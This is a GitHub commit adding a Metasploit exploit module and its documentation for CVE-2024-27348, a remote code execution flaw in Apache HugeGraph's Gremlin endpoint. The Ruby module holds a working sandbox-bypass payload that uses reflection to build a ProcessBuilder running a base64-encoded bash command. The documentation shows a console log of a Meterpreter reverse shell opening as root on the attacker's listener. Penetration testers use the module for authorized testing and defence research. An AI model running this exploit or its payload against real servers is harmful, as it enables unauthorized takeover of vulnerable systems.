Skip to content

Commit 36322ff

Browse files
Land rapid7#19348, Apache HugeGraph Gremlin RCE (CVE-2024-27348)
2 parents 233f6dc + 47e5d62 commit 36322ff

File tree

2 files changed

+157
-0
lines changed

2 files changed

+157
-0
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
## Vulnerable Application
2+
This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in
3+
Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve
4+
RCE through Gremlin, resulting in complete control over the server
5+
6+
### Setup
7+
To install a vulnerable instance via docker run the following command:
8+
```
9+
docker run -itd --name=graph -p 8080:8080 hugegraph/hugegraph:1.0.0
10+
```
11+
12+
## Verification Steps
13+
14+
1. Start msfconsole
15+
1. Do: `use exploit/linux/http/apache_hugegraph_gremlin_rce`
16+
1. Set the `RHOST` and `LHOST` options
17+
1. Run the module
18+
1. Receive a Meterpreter session as the `root` user.
19+
20+
## Scenarios
21+
### Apache HugeGraph 1.0.0 docker instance
22+
```
23+
24+
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1
25+
rhost => 127.0.0.1
26+
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1
27+
lhost => 172.16.199.1
28+
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > run
29+
30+
[*] Started reverse TCP handler on 172.16.199.1:4444
31+
[*] Running automatic check ("set AutoCheck false" to disable)
32+
[+] The target appears to be vulnerable. Apache HugeGraph version detected: 1.0.0
33+
[*] 127.0.0.1:9191 - Executing Automatic Target for cmd/linux/http/x64/meterpreter/reverse_tcp
34+
[*] Sending stage (3045380 bytes) to 172.16.199.1
35+
[*] Meterpreter session 8 opened (172.16.199.1:4444 -> 172.16.199.1:53803) at 2024-07-29 13:59:20 -0700
36+
37+
meterpreter > getuid
38+
Server username: root
39+
meterpreter > sysinfo
40+
Computer : 172.17.0.2
41+
OS : Debian 11.4 (Linux 6.6.32-linuxkit)
42+
Architecture : x64
43+
BuildTuple : x86_64-linux-musl
44+
Meterpreter : x64/linux
45+
meterpreter >
46+
```
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Apache HugeGraph Gremlin RCE',
17+
'Description' => %q{
18+
This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in
19+
Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve
20+
RCE through Gremlin, resulting in complete control over the server
21+
},
22+
'Author' => [
23+
'6right', # discovery
24+
'jheysel-r7' # module
25+
],
26+
'References' => [
27+
[ 'URL', 'https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/'],
28+
[ 'CVE', '2024-27348']
29+
],
30+
'License' => MSF_LICENSE,
31+
'Platform' => %w[unix linux],
32+
'Privileged' => true,
33+
'Arch' => [ ARCH_CMD ],
34+
'Targets' => [
35+
[ 'Automatic Target', {}]
36+
],
37+
'DefaultTarget' => 0,
38+
'DisclosureDate' => '2024-04-22',
39+
'Notes' => {
40+
'Stability' => [ CRASH_SAFE, ],
41+
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
42+
'Reliability' => [ REPEATABLE_SESSION, ]
43+
}
44+
)
45+
)
46+
register_options([
47+
Opt::RPORT(8080),
48+
OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/'])
49+
])
50+
end
51+
52+
def check
53+
res = send_request_cgi({
54+
'method' => 'GET'
55+
})
56+
57+
return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res
58+
return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 200
59+
60+
version = res.get_json_document&.dig('version')
61+
return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version
62+
63+
if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0'))
64+
return CheckCode::Appears("Apache HugeGraph version detected: #{version}")
65+
end
66+
67+
CheckCode::Safe("Apache HugeGraph version detected: #{version}")
68+
end
69+
70+
def exploit
71+
print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}")
72+
73+
class_name = rand_text_alpha(4..12)
74+
thread_name = rand_text_alpha(4..12)
75+
command_name = rand_text_alpha(4..12)
76+
process_builder_name = rand_text_alpha(4..12)
77+
start_method_name = rand_text_alpha(4..12)
78+
constructor_name = rand_text_alpha(4..12)
79+
field_name = rand_text_alpha(4..12)
80+
81+
java_payload = <<~PAYLOAD
82+
Thread #{thread_name} = Thread.currentThread();
83+
Class #{class_name} = Class.forName(\"java.lang.Thread\");
84+
java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");
85+
#{field_name}.setAccessible(true);
86+
#{field_name}.set(#{thread_name}, \"#{thread_name}\");
87+
Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");
88+
java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);
89+
java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')});
90+
Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});
91+
java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");
92+
#{start_method_name}.invoke(#{process_builder_name});
93+
PAYLOAD
94+
95+
data = {
96+
'gremlin' => java_payload,
97+
'bindings' => {},
98+
'language' => 'gremlin-groovy',
99+
'aliases' => {}
100+
}
101+
102+
res = send_request_cgi({
103+
'uri' => normalize_uri(target_uri.path, '/gremlin'),
104+
'method' => 'POST',
105+
'ctype' => 'application/json',
106+
'data' => data.to_json
107+
})
108+
109+
print_error('Unexpected response from the vulnerable exploit') unless res && res.code == 200
110+
end
111+
end

0 commit comments

Comments
 (0)